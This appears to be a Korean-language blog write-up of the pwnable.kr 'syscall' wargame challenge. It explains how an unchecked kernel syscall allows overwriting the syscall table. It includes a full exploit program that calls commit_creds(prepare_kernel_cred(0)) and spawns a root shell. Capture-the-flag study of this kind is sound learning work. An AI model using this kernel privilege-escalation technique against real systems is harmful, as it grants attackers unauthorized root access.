2021. 10. 16. 23:54ㆍpwnable.kr
// adding a new system call : sys_upper
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <asm/unistd.h>
#include <asm/page.h>
#include <linux/syscalls.h>
#define SYS_CALL_TABLE 0x8000e348 // manually configure this address!!
#define NR_SYS_UNUSED 223
//Pointers to re-mapped writable pages
unsigned int** sct;
asmlinkage long sys_upper(char *in, char* out){
int len = strlen(in);
int i;
for(i=0; i<len; i++){
if(in[i]>=0x61 && in[i]<=0x7a){
out[i] = in[i] - 0x20;
}
else{
out[i] = in[i];
}
}
return 0;
}
static int __init initmodule(void ){
sct = (unsigned int**)SYS_CALL_TABLE;
sct[NR_SYS_UNUSED] = sys_upper;
printk("sys_upper(number : 223) is added\n");
return 0;
}
static void __exit exitmodule(void ){
return;
}
module_init( initmodule );
module_exit( exitmodule );
문제에서 들어가라는 링크에 들어가 보면 syscall.c라는 c소스코드를 화면에 띄워줍니다.
우선 코드 해석부터 해보겠습니다.
맨 마지막줄 -1번째 줄의 module_init( initmodule );은 커널이 실행되면 initmodule() 함수를 실행시킨다는 뜻입니다.
맨 마지막줄의 module_exit( exitmodule );은 커널이 종료될 때 exitmodule() 함수를 실행시킨다는 뜻입니다.
initmodule() 함수를 분석해보겠습니다.
sct 변수에 SYS_CALL_TABLE의 정보를 입력합니다.
그리고 syscall 번호 223번을 생성하고 sys_upper() 함수를 syscall table에 올립니다.
여기서 sys_upper() 함수를 보면 소문자를 대문자로 바꿔주는 함수라는걸 알 수 있습니다.
exitmodule() 함수는 그냥 return;만 들어있으므로 해설은 하지 않겠습니다.
이제 어떻게 문제를 풀어야 할지 생각해야하는데, 우선 루트 권한은 필수적으로 얻어야 할 것 같습니다.
커널에서 루트 권한을 획득하려면 commit_creds(prepare_kernel_cred(0));을 사용해야 합니다.
이 함수를 사용하면 uid, gid가 0이 되고, 그 후에 /bin/sh를 실행하면 루트 권한을 획득하게 됩니다.
그리고 코드에서 어느 부분에 취약점이 있는지를 봐야 하는데, sys_upper() 함수의 if문과 else문을 보겠습니다.
if문에서 out[i]=in[i]-0x20; else문에서 out[i]=in[i]; 이렇게 두 부분을 보면 둘 다 out에 in을 넣는 걸 볼 수 있습니다.
이 과정에서 out에 대한 overwrite가 가능하고, if문의 조건이 0x61~0x7a로 되어있으니 이 부분에 문자열이 없다면 어떤 위치, 어떤 문자열이던 상관없이 자유롭게 기입을 할 수 있게 됩니다.
이제 필요한 것은 prepare_kernel_cred(), commit_creds() 함수의 심볼입니다.
이 심볼은 /proc/kallsyms에 있는데, 이 경로에는 아주 많은 정보가 들어있으므로 grep을 이용해서 심볼을 찾는 게 정신건강에 이롭습니다.
이제 syscall table을 덮을 함수를 찾아야 하는데, commit_creds(prepare_kernel_cred(0));은 인자가 하나이므로 인자가 하나인 함수를 사용하면 되겠습니다.
(exit와 close 사용)
overwrite에 대한 시나리오는 이러합니다.
1. exit()는 prepare_kernel_cred() 함수로 overwrite
2. close()는 commit_creds() 함수로 overwrite
3. syscall 호출 (commit_creds(prepare_kernel_cred(0));)
그런데 시나리오 2번에서 \x6c에 대해 문제가 생기므로 (if문에서 주어진 범위를 벗어난다) 이를 \x60으로 고치고 12byte를 padding 해줍니다. (mov r1,r1=0x0110A0E1(\xe1\xa0\x10\x01))
#include<stdio.h>
#include<unistd.h>
#include<sys/syscall.h>
#define SYS_UPPER 223
#define SYS_CALL_TABLE 0x8000e348
unsigned int **sct;
int main(){
sct=(unsigned int**)SYS_CALL_TABLE;
syscall(SYS_UPPER,"\xe1\xa0\x10\x01\xe1\xa0\x10\x01\xe1\xa0\x10\x01",0x8003f560);
syscall(SYS_UPPER,"\x24\xf9\x03\x80",&sct[12]);
syscall(SYS_UPPER,"\x60\xf5\x03\x80",&sct[10]);
syscall(7,syscall(2,0));
system("/bin/sh");
return 0;
}
역시 커널은 한두 번 해봐선 되는 게 아닌 것 같습니다.
공부 많이 해야 할 듯.....